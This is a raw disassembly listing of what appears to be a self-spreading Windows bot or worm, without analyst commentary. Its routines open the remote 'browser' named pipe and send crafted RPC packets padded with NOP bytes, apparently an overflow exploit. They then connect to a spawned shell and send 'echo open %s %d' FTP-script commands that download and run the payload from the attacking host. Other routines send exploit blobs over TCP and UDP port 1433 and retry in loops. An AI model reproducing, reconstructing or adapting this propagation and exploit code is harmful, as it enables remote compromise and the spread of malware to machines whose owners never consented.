loc_4045CB: ; CODE XREF: sub_40459A+48j
call sub_404620
loc_4045D0: ; CODE XREF: sub_40459A+4Cj
; sub_40459A+53j
xor al, al
jmp short loc_40461B
; ---------------------------------------------------------------------------
loc_4045D4: ; CODE XREF: sub_40459A+19j
; sub_40459A+20j ...
cmp edi, edx
jnz short loc_4045EF
cmp [esp+8+arg_4], dl
jz short loc_4045E4
push 1
mov ecx, esi
jmp short loc_4045CB
; ---------------------------------------------------------------------------
loc_4045E4: ; CODE XREF: sub_40459A+42j
cmp eax, edx
jz short loc_4045D0
mov [esi+8], edx
mov [eax], dl
jmp short loc_4045D0
; ---------------------------------------------------------------------------
loc_4045EF: ; CODE XREF: sub_40459A+3Cj
cmp [esp+8+arg_4], dl
jz short loc_40460C
mov eax, [esi+0Ch]
cmp eax, 1Fh
ja short loc_404601
cmp eax, edi
jnb short loc_404619
loc_404601: ; CODE XREF: sub_40459A+61j
push 1
mov ecx, esi
call sub_404620
jmp short loc_404611
; ---------------------------------------------------------------------------
loc_40460C: ; CODE XREF: sub_40459A+59j
cmp [esi+0Ch], edi
jnb short loc_404619
loc_404611: ; CODE XREF: sub_40459A+70j
mov ecx, esi
loc_404613: ; CODE XREF: sub_40459A+2Bj
push edi
call sub_4046F4
loc_404619: ; CODE XREF: sub_40459A+65j
; sub_40459A+75j
mov al, 1
loc_40461B: ; CODE XREF: sub_40459A+38j
pop edi
pop esi
retn 8
sub_40459A endp
; =============== S U B R O U T I N E =======================================
sub_404620 proc near ; CODE XREF: sub_403FF0+1Fp
; sub_403FF0+16Bp ...
arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_404648
mov eax, [esi+4]
test eax, eax
jz short loc_404648
dec eax
mov cl, [eax]
test cl, cl
jz short loc_404641
cmp cl, 0FFh
jz short loc_404641
dec byte ptr [eax]
jmp short loc_404648
; ---------------------------------------------------------------------------
loc_404641: ; CODE XREF: sub_404620+16j
; sub_404620+1Bj
push eax
call sub_417FAF
pop ecx
loc_404648: ; CODE XREF: sub_404620+8j
; sub_404620+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_404620 endp
; =============== S U B R O U T I N E =======================================
sub_404658 proc near ; CODE XREF: .data:0040437Ep
; sub_4047B1+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
push edi
mov esi, ecx
call sub_40459A
test al, al
jz short loc_404686
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_417090
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [edi+eax], 0
loc_404686: ; CODE XREF: sub_404658+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_404658 endp
; =============== S U B R O U T I N E =======================================
sub_40468D proc near ; CODE XREF: sub_4044CD+35p
; sub_4044CD+41p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_4046A0
call sub_422563
loc_4046A0: ; CODE XREF: sub_40468D+Cj
mov ecx, edi
call sub_4047B1
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_4046B6
mov ebx, eax
loc_4046B6: ; CODE XREF: sub_40468D+25j
test ebx, ebx
jbe short loc_4046EC
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_417FC0
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_40459A
test al, al
jz short loc_4046EC
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_4046EC: ; CODE XREF: sub_40468D+2Bj
; sub_40468D+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_40468D endp
; =============== S U B R O U T I N E =======================================
sub_4046F4 proc near ; CODE XREF: sub_40459A+7Ap
mov eax, offset loc_422E10
call sub_417F90
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_40471A
mov edi, [ebp+8]
loc_40471A: ; CODE XREF: sub_4046F4+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_404727
xor eax, eax
loc_404727: ; CODE XREF: sub_4046F4+2Fj
push eax
call sub_4182F5
pop ecx
mov [ebp+8], eax
jmp short loc_404758
; ---------------------------------------------------------------------------
loc_404733: ; DATA XREF: .data:00423F50o
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_404742
xor eax, eax
loc_404742: ; CODE XREF: sub_4046F4+4Aj
push eax
call sub_4182F5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_404752
retn
; ---------------------------------------------------------------------------
loc_404752: ; DATA XREF: sub_4046F4+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_404758: ; CODE XREF: sub_4046F4+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_404776
cmp eax, edi
jbe short loc_404765
mov eax, edi
loc_404765: ; CODE XREF: sub_4046F4+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_417090
add esp, 0Ch
loc_404776: ; CODE XREF: sub_4046F4+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_404620
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_404796
mov edi, ebx
loc_404796: ; CODE XREF: sub_4046F4+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [edi+eax], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_4046F4 endp
; =============== S U B R O U T I N E =======================================
sub_4047B1 proc near ; CODE XREF: sub_40468D+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_4047DE
mov al, [esi-1]
test al, al
jz short loc_4047DE
cmp al, 0FFh
jz short loc_4047DE
push 1
call sub_404620
push esi
call sub_4177B0
pop ecx
push eax
push esi
mov ecx, edi
call sub_404658
loc_4047DE: ; CODE XREF: sub_4047B1+9j
; sub_4047B1+10j ...
pop edi
pop esi
retn
sub_4047B1 endp
; =============== S U B R O U T I N E =======================================
sub_4047E1 proc near ; DATA XREF: .data:00425008o
test byte_4897A4, 1
jnz short loc_4047F1
or byte_4897A4, 1
loc_4047F1: ; CODE XREF: sub_4047E1+7j
jmp $+5
push offset nullsub_1
call sub_418370
pop ecx
retn
sub_4047E1 endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_404803 proc near ; DATA XREF: .data:0042500Co
jmp $+5
sub_404803 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404808 proc near
mov eax, dword_427C40
add eax, 6
mov dword_43BCFC, eax
retn
sub_404808 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404816 proc near ; CODE XREF: sub_404816+D0p
; sub_404904+462p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_40482A
or [ebp+arg_7], 1
jmp short loc_40482E
; ---------------------------------------------------------------------------
loc_40482A: ; CODE XREF: sub_404816+Cj
and [ebp+arg_7], 0FEh
loc_40482E: ; CODE XREF: sub_404816+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_404852
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_404864
; ---------------------------------------------------------------------------
loc_404852: ; CODE XREF: sub_404816+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_404864: ; CODE XREF: sub_404816+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_417889
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_4048FD
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_417090
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
call dword_42307C ; WriteFile
test eax, eax
jz short loc_4048F4
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_4048F4
push [ebp+arg_20]
call sub_41793B
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_4048F0
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_404816
add esp, 2Ch
jmp short loc_4048FF
; ---------------------------------------------------------------------------
loc_4048F0: ; CODE XREF: sub_404816+B3j
mov al, 1
jmp short loc_4048FF
; ---------------------------------------------------------------------------
loc_4048F4: ; CODE XREF: sub_404816+9Cj
; sub_404816+A4j
push [ebp+arg_20]
call sub_41793B
pop ecx
loc_4048FD: ; CODE XREF: sub_404816+61j
xor al, al
loc_4048FF: ; CODE XREF: sub_404816+D8j
; sub_404816+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_404816 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404904 proc near ; CODE XREF: .data:00404EF3p
var_60DC = byte ptr -60DCh
var_40DC = byte ptr -40DCh
var_20DC = byte ptr -20DCh
var_DC = byte ptr -0DCh
var_C8 = dword ptr -0C8h
var_BC = byte ptr -0BCh
var_B8 = byte ptr -0B8h
var_B7 = byte ptr -0B7h
var_B6 = byte ptr -0B6h
var_B5 = byte ptr -0B5h
var_B4 = dword ptr -0B4h
var_B0 = word ptr -0B0h
var_AE = word ptr -0AEh
var_AC = dword ptr -0ACh
var_A8 = word ptr -0A8h
var_A6 = word ptr -0A6h
var_A4 = dword ptr -0A4h
var_A0 = dword ptr -0A0h
var_9C = word ptr -9Ch
var_9A = byte ptr -9Ah
var_98 = byte ptr -98h
var_88 = dword ptr -88h
var_84 = byte ptr -84h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = qword ptr -68h
var_60 = word ptr -60h
var_5C = byte ptr -5Ch
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_45 = byte ptr -45h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 60DCh
call sub_417830
push ebx
push esi
push edi
push offset a_ ; "."
push [ebp+arg_0]
call sub_418490
pop ecx
xor ebx, ebx
test eax, eax
pop ecx
mov esi, 2000h
jz short loc_404975
push [ebp+arg_0]
lea eax, [ebp+var_20DC]
push offset loc_427670
push esi
push eax
call sub_41752A
push 20h
lea eax, [ebp+var_DC]
push ebx
push eax
call sub_417030
lea eax, [ebp+var_20DC]
add esp, 1Ch
mov [ebp+var_C8], eax
mov eax, offset byte_43BCE8
push ebx
push eax
push eax
lea eax, [ebp+var_DC]
push eax
call sub_422740
loc_404975: ; CODE XREF: sub_404904+28j
push [ebp+arg_0]
lea eax, [ebp+var_40DC]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41752A
add esp, 10h
lea eax, [ebp+var_40DC]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
call dword_423084 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_4049B9
loc_4049B2: ; CODE XREF: sub_404904+25Cj
; sub_404904+35Ej ...
xor al, al
jmp loc_404DF5
; ---------------------------------------------------------------------------
loc_4049B9: ; CODE XREF: sub_404904+ACj
push 48h
lea eax, [ebp+var_B8]
push ebx
push eax
call sub_417030
push 10h
xor edi, edi
pop eax
inc edi
mov [ebp+var_B4], eax
push eax
lea eax, [ebp+var_98]
push offset dword_427C94
push eax
mov [ebp+var_B8], 5
mov [ebp+var_B7], bl
mov [ebp+var_B6], 0Bh
mov [ebp+var_B5], 3
mov [ebp+var_B0], 48h
mov [ebp+var_AE], bx
mov [ebp+var_AC], ebx
mov [ebp+var_A8], 10B8h
mov [ebp+var_A6], 10B8h
mov [ebp+var_A4], ebx
mov [ebp+var_A0], edi
mov [ebp+var_9C], bx
mov [ebp+var_9A], 1
call sub_417090
push 10h
lea eax, [ebp+var_84]
push offset dword_427C80
push eax
mov [ebp+var_88], 3
call sub_417090
add esp, 24h
lea eax, [ebp+var_BC]
mov [ebp+var_74], 2
push ebx
push eax
lea eax, [ebp+var_B8]
push 48h
push eax
push [ebp+var_4]
call dword_42307C ; WriteFile
test eax, eax
jz loc_404B57
lea eax, [ebp+var_14]
push ebx
push eax
lea eax, [ebp+var_60DC]
push esi
push eax
push [ebp+var_4]
call dword_423074 ; ReadFile
push ebx
call sub_4183B1
push eax
call sub_417008
push 14h
lea eax, [ebp+var_70]
push 41h
push eax
call sub_417030
push 1Ch
lea eax, [ebp+var_30]
push 41h
push eax
call sub_417030
add esp, 20h
call sub_417012
mov esi, [ebp+arg_4]
mov [ebp+var_70], eax
mov dword ptr [ebp+var_68+4], edi
mov dword ptr [ebp+var_68], ebx
lea esi, [esi+esi*4]
mov [ebp+var_6C], edi
shl esi, 2
mov [ebp+var_60], bx
mov [ebp+var_28], ebx
cmp byte_427C28[esi], bl
jz short loc_404B03
push 4
mov [ebp+var_24], edi
mov [ebp+var_2C], edi
push offset dword_43BD00
jmp short loc_404B13
; ---------------------------------------------------------------------------
loc_404B03: ; CODE XREF: sub_404904+1EEj
push 2
pop eax
push 4
mov [ebp+var_24], eax
mov [ebp+var_2C], eax
push (offset loc_427C77+1)
loc_404B13: ; CODE XREF: sub_404904+1FDj
lea eax, [ebp+var_20]
push eax
call sub_417090
add esp, 0Ch
call sub_417012
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp+var_30], edx
call sub_417012
cdq
idiv edi
mov eax, dword_427C1C[esi]
mov [ebp+var_18], ebx
push eax
mov [ebp+arg_0], eax
inc edx
mov [ebp+var_1C], edx
call sub_417889
mov edi, eax
pop ecx
cmp edi, ebx
jnz short loc_404B65
loc_404B57: ; CODE XREF: sub_404904+182j
push [ebp+var_4]
call dword_423078 ; CloseHandle
jmp loc_4049B2
; ---------------------------------------------------------------------------
loc_404B65: ; CODE XREF: sub_404904+251j
mov eax, [ebp+arg_0]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_417030
mov eax, [ebp+arg_0]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_417030
mov eax, dword_427C24[esi]
push 7
add eax, edi
push offset dword_427C10
push eax
mov [ebp+arg_4], eax
call sub_417090
mov eax, [ebp+arg_4]
push 15Ch
add eax, 7
push offset dword_427AB0
push eax
call sub_417090
mov eax, dword_427C20[esi]
add esp, 30h
mov [ebp+arg_4], eax
add eax, edi
cmp byte_427C28[esi], bl
jz short loc_404C16
push 4
push offset dword_43BCFC
push eax
call sub_417090
add [ebp+arg_4], 0Ch
mov esi, offset dword_427C40
mov eax, [ebp+arg_4]
push 4
add eax, edi
push esi
push eax
call sub_417090
mov eax, [ebp+arg_4]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+arg_4], eax
call sub_417090
mov eax, [ebp+arg_4]
push 4
add eax, 0Ch
push esi
push eax
call sub_417090
add esp, 30h
jmp short loc_404C3C
; ---------------------------------------------------------------------------
loc_404C16: ; CODE XREF: sub_404904+2C5j
mov [ebp+arg_4], eax
mov [ebp+var_8], 10h
mov esi, offset dword_427C40
loc_404C25: ; CODE XREF: sub_404904+336j
push 4
push esi
push [ebp+arg_4]
call sub_417090
add [ebp+arg_4], 4
add esp, 0Ch
dec [ebp+var_8]
jnz short loc_404C25
loc_404C3C: ; CODE XREF: sub_404904+310j
mov eax, [ebp+arg_0]
add eax, 42h
push eax
call sub_417889
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp+var_8], esi
jnz short loc_404C67
push [ebp+var_4]
call dword_423078 ; CloseHandle
push edi
call sub_41793B
pop ecx
jmp loc_4049B2
; ---------------------------------------------------------------------------
loc_404C67: ; CODE XREF: sub_404904+34Cj
mov eax, [ebp+arg_0]
add eax, 42h
push eax
push ebx ; double
push esi
call sub_417030
lea eax, [ebp+var_70]
push 14h
push eax
push esi
call sub_417090
mov eax, [ebp+arg_0]
mov dword ptr [ebp+var_10+4], ebx
mov dword ptr [ebp+var_10], eax
add esp, 10h
fild [ebp+var_10]
fmul flt_42328C
fstp [esp+0Ch+var_10+4]
call sub_417AEB
call sub_417AC4
push [ebp+arg_0]
mov [esi+1Ch], eax
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
mov [esi+18h], ebx
call sub_417090
mov eax, [ebp+arg_0]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+arg_4], eax
jz short loc_404CD1
loc_404CC9: ; CODE XREF: sub_404904+3C8j
inc eax
test al, 3
jnz short loc_404CC9
mov [ebp+arg_4], eax
loc_404CD1: ; CODE XREF: sub_404904+3C3j
lea ecx, [ebp+var_30]
push 1Ch
add eax, esi
push ecx
push eax
call sub_417090
add [ebp+arg_4], 1Ch
push edi
call sub_41793B
push 18h
lea eax, [ebp+var_48]
push ebx
push eax
call sub_417030
push 14h
lea eax, [ebp+var_5C]
push ebx
push eax
mov [ebp+var_48], 5
mov [ebp+var_47], bl
mov [ebp+var_46], bl
mov [ebp+var_45], 3
mov [ebp+var_44], 10h
mov [ebp+var_3E], bx
mov [ebp+var_3C], ebx
mov [ebp+var_34], bx
mov [ebp+var_32], 1Fh
call sub_417030
add esp, 28h
push ebx
push ebx
push 1
push ebx
call dword_423090 ; CreateEventA
mov [ebp+var_4C], eax
mov byte ptr [ebp+arg_0+3], bl
mov dword ptr [ebp+var_10+4], ebx
loc_404D3E: ; CODE XREF: sub_404904+4C4j
cmp dword ptr [ebp+var_10+4], 2
jge loc_404DD3
push 1
push 10B8h
push [ebp+arg_4]
inc dword ptr [ebp+var_10+4]
push esi
lea esi, [ebp+var_48]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+var_4]
rep movsd
call sub_404816
add esp, 2Ch
test al, al
jz short loc_404DD0
cmp [ebp+var_4C], ebx
jz short loc_404DC2
lea eax, [ebp+var_5C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_60DC]
push 2000h
push eax
push [ebp+var_4]
call dword_423074 ; ReadFile
test eax, eax
jnz short loc_404DA9
call dword_42308C ; RtlGetLastWin32Error
cmp eax, 3E5h
jnz loc_4049B2
loc_404DA9: ; CODE XREF: sub_404904+492j
push 3E8h
push [ebp+var_4C]
call dword_423088 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_404DC2
mov byte ptr [ebp+arg_0+3], 1
loc_404DC2: ; CODE XREF: sub_404904+471j
; sub_404904+4B8j
cmp byte ptr [ebp+arg_0+3], bl
mov esi, [ebp+var_8]
jz loc_404D3E
jmp short loc_404DD3
; ---------------------------------------------------------------------------
loc_404DD0: ; CODE XREF: sub_404904+46Cj
mov esi, [ebp+var_8]
loc_404DD3: ; CODE XREF: sub_404904+43Ej
; sub_404904+4CAj
push [ebp+var_4]
mov edi, dword_423078
call edi ; CloseHandle
push esi
call sub_41793B
cmp [ebp+var_4C], ebx
pop ecx
jz short loc_404DEF
push [ebp+var_4C]
call edi ; CloseHandle
loc_404DEF: ; CODE XREF: sub_404904+4E4j
cmp byte ptr [ebp+arg_0+3], bl
setnz al
loc_404DF5: ; CODE XREF: sub_404904+B0j
pop edi
pop esi
pop ebx
leave
retn
sub_404904 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404DFA proc near ; CODE XREF: .data:00404F11p
; .data:00404FD1p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_4231FC ; inet_addr
push [ebp+arg_BC]
mov [ebp+var_C], eax
call dword_423224 ; htons
push esi
push 1
push 2
mov [ebp+var_E], ax
call dword_423214 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_404EC8
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
call dword_42321C ; connect
cmp eax, 0FFFFFFFFh
jz short loc_404EC8
mov edi, 400h
push esi
mov esi, dword_423204
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_42E9B8
push eax
push eax
push dword_43BD0C
push [ebp+arg_0]
call sub_40AD08
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41752A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call dword_423208 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_404ECC
loc_404EC8: ; CODE XREF: sub_404DFA+50j
; sub_404DFA+62j
xor eax, eax
jmp short loc_404EE3
; ---------------------------------------------------------------------------
loc_404ECC: ; CODE XREF: sub_404DFA+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
call dword_423220 ; closesocket
xor eax, eax
inc eax
loc_404EE3: ; CODE XREF: sub_404DFA+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_404DFA endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
xor ebx, ebx
loc_404EED: ; CODE XREF: .data:00404F33j
lea eax, [esp+14h]
push ebx
push eax
call sub_404904
pop ecx
test al, al
pop ecx
jz short loc_404F20
push 65h
lea esi, [esp+14h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404DFA
add esp, 0C0h
test eax, eax
jnz short loc_404F3B
loc_404F20: ; CODE XREF: .data:00404EFCj
test ebx, ebx
jnz short loc_404F2F
push 7D0h
call dword_423064 ; Sleep
loc_404F2F: ; CODE XREF: .data:00404F22j
inc ebx
cmp ebx, 2
jb short loc_404EED
xor eax, eax
loc_404F37: ; CODE XREF: .data:00404F3Ej
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_404F3B: ; CODE XREF: .data:00404F1Ej
xor eax, eax
inc eax
jmp short loc_404F37
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+0Ch]
push edi
push eax
mov word ptr [ebp-10h], 2
call dword_43EB64 ; inet_addr
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call dword_43EB24 ; htons
push 6
push 1
push 2
mov [ebp-0Eh], ax
call dword_423214 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_404FB2
lea eax, [ebp-10h]
push 10h
push eax
push esi
call dword_42321C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_404F93
push esi
jmp short loc_404FAC
; ---------------------------------------------------------------------------
loc_404F93: ; CODE XREF: .data:00404F8Ej
push 0
push 1213h
push offset dword_427CC0
push esi
call dword_423208 ; send
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_404FB6
loc_404FAC: ; CODE XREF: .data:00404F91j
call dword_423220 ; closesocket
loc_404FB2: ; CODE XREF: .data:00404F7Cj
xor eax, eax
jmp short loc_404FF4
; ---------------------------------------------------------------------------
loc_404FB6: ; CODE XREF: .data:00404FAAj
call dword_423220 ; closesocket
push 216Bh
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404DFA
add esp, 0C0h
test eax, eax
jz short loc_404FF1
mov eax, [ebp+0B0h]
imul eax, 3Ch
lea eax, dword_429D68[eax]
inc dword ptr [eax]
loc_404FF1: ; CODE XREF: .data:00404FDEj
xor eax, eax
inc eax
loc_404FF4: ; CODE XREF: .data:00404FB4j
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404FF8 proc near ; CODE XREF: .data:004051F4p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417030
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43EB64 ; inet_addr
mov [ebp+var_C], eax
mov ax, word_4290A4
push eax
call dword_43EB24 ; htons
push edi
push 1
push 2
mov [ebp+var_E], ax
call dword_43EBA4 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_40510F
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43EACC ; connect
cmp eax, 0FFFFFFFFh
jz loc_40510F
mov ebx, 400h
push edi
lea eax, [ebp+var_5A0]
push ebx
push eax
push esi
call dword_43EB3C ; recv
push dword_43BD0C
push [ebp+arg_0]
call sub_40AD08
pop ecx
mov edi, 190h
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41752A
add esp, 14h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push esi
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jz short loc_40510F
push 1F4h
call dword_423064 ; Sleep
push offset byte_42E9B8
push offset dword_4275E0
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41752A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_4177B0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push esi
call dword_43EB74 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_405113
loc_40510F: ; CODE XREF: sub_404FF8+51j
; sub_404FF8+67j ...
xor al, al
jmp short loc_40512D
; ---------------------------------------------------------------------------
loc_405113: ; CODE XREF: sub_404FF8+115j
push 0
lea eax, [ebp+var_5A0]
push ebx
push eax
push esi
call dword_43EB3C ; recv
push esi
call dword_43EBBC ; closesocket
mov al, 1
loc_40512D: ; CODE XREF: sub_404FF8+119j
pop edi
pop esi
pop ebx
leave
retn
sub_404FF8 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
lea eax, [ebp+0Ch]
push edi
push eax
call dword_4231F8 ; gethostbyname
mov esi, eax
test esi, esi
jnz short loc_40515C
lea eax, [ebp+0Ch]
push eax
call dword_4231FC ; inet_addr
mov ebx, eax
jmp short loc_405162
; ---------------------------------------------------------------------------
loc_40515C: ; CODE XREF: .data:0040514Cj
mov ebx, [ebp+0C0h]
loc_405162: ; CODE XREF: .data:0040515Aj
push 11h
push 2
push 2
call dword_423214 ; socket
test esi, esi
mov edi, eax
jz short loc_40518C
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_417090
add esp, 0Ch
jmp short loc_40518F
; ---------------------------------------------------------------------------
loc_40518C: ; CODE XREF: .data:00405172j
mov [ebp-0Ch], ebx
loc_40518F: ; CODE XREF: .data:0040518Aj
test esi, esi
jz short loc_40519D
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_4051A3
; ---------------------------------------------------------------------------
loc_40519D: ; CODE XREF: .data:00405191j
mov word ptr [ebp-10h], 2
loc_4051A3: ; CODE XREF: .data:0040519Bj
push 599h
call dword_423224 ; htons
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call dword_42321C ; connect
test eax, eax
jnz loc_40526E
push eax
push 1C9h
push offset loc_428ED8
push edi
call dword_423208 ; send
push 3E8h
call dword_423064 ; Sleep
sub esp, 0BCh
lea esi, [ebp+8]
